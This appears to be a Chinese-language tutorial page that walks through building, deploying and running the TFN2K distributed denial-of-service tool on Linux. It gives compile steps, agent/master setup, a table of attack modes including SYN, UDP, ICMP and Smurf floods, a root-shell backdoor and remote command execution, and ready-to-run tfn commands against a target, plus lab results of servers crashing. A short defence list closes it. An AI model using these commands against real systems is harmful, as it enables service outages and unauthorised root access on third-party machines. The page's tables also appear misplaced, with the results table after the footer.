Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學
您现在的位置: Windows教程網 >> Windows教程 >  >> Linux 系統教學 >> Linux 教學

Linux 下 TFN2K 分散式阻斷服務 (DDoS) 攻擊工具安裝與測試實錄

編輯:Linux 教學

警告:本文僅供學術研究與防禦測試用途。未經授權對第三方系統發動 DDoS 攻擊屬違法行為,嚴禁用於非法目的。

TFN2K (Tribe Flood Network 2000) 是早期開源 DDoS 工具,採用主從架構:主控端 (tfn) 下達指令,多個代理端 (td) 發動攻擊。本文記錄在 Fedora Core 3 上編譯安裝、配置密碼、代理部署、攻擊模式參數與實測結果,旨在了解攻擊原理以強化防禦。

安裝與編譯

  1. 解壓:tar -zxvf tfn2k.tgz
  2. 修改 src/ip.h:註釋 struct in_addr 定義 (避免與系統頭檔衝突)
  3. make 編譯:提示輸入 8-32 字元密碼 (攻擊時驗證),產生 td (代理/守護進程) 與 tfn (主控端)
  4. 密碼變更:執行 mkpass

部署架構

  • 所有代理機器:以 root 權限執行 ./td (背景監聽)
  • 主控機器:建立文字檔 hostlist 列出所有代理 IP (每行一個)
  • 主控執行 ./tfn 下達攻擊指令

核心攻擊參數 (-c 選項)

實測指令範例

# UDP Flood 攻擊 www.example.com
./tfn -f hostlist -c 4 -i www.example.com

# SYN Flood 攻擊 Web 埠 80
./tfn -f hostlist -c 5 -i www.example.com -p 80

# ICMP Flood
./tfn -f hostlist -c 6 -i www.example.com

# MIX 輪番攻擊
./tfn -f hostlist -c 8 -i www.example.com

# 停止所有攻擊
./tfn -f hostlist -c 0

實測環境與結果 (6 台機器區域網路)

代碼攻擊類型說明
0停止攻擊發善心用
1反偽裝等級封包來源位址隨機偽裝
2封包大小調整增加載荷大小
3綁定 Root Shell開啟連接埠獲取 Root Shell (後門)
4UDP Flood大量 UDP 封包觸發 ICMP Unreachable 回應,放大攻擊
5SYN Flood經典 TCP 連接耗盡,填滿接受隊列
6ICMP Echo (Ping) Flood偽裝來源 IP 發送 Ping,目標回應放大
7Smurf 攻擊對廣播位址發送 Ping,放大因子 = 回應主機數
8MIX 攻擊UDP:SYN:ICMP = 1:1:1 輪番轟炸,對付路由器/IDS
9TARGA3 攻擊綜合多種協議漏洞攻擊
10遠端命令執行-i "command" 在所有代理執行指令 (如 mkdir /root/edison)

結論:少量代理即可癱瘓一般伺服器。防禦需部署流量清洗、SYN Cookie、速率限制、異常流量偵測 (如 Snort/PSAD)。

防禦建議

  • 啟用核心 net.ipv4.tcp_syncookies=1 緩解 SYN Flood
  • 邊界防火牆/路由器啟用反向路徑驗證 (uRPF) 防偽裝 IP
  • 部署 IDS/IPS 偵測掃描、異常流量模式
  • 關閉不必要服務、限制 ICMP 回應速率
  • 雲端 DDoS 緩解服務 (如 Cloudflare、AWS Shield) 吸收大規模攻擊
Copyright © Windows教程網 All Rights Reserved
攻擊模式代理數代理 CPU目標 CPU / 狀態
TCP SYN1 對 113%70%+ 波動
TCP SYN2 對 113%100% (服務停擺)
TCP SYN5 對 113%當機
ICMP1 對 118%96%+ 波動
ICMP2 對 118%半小時內當機,網路不通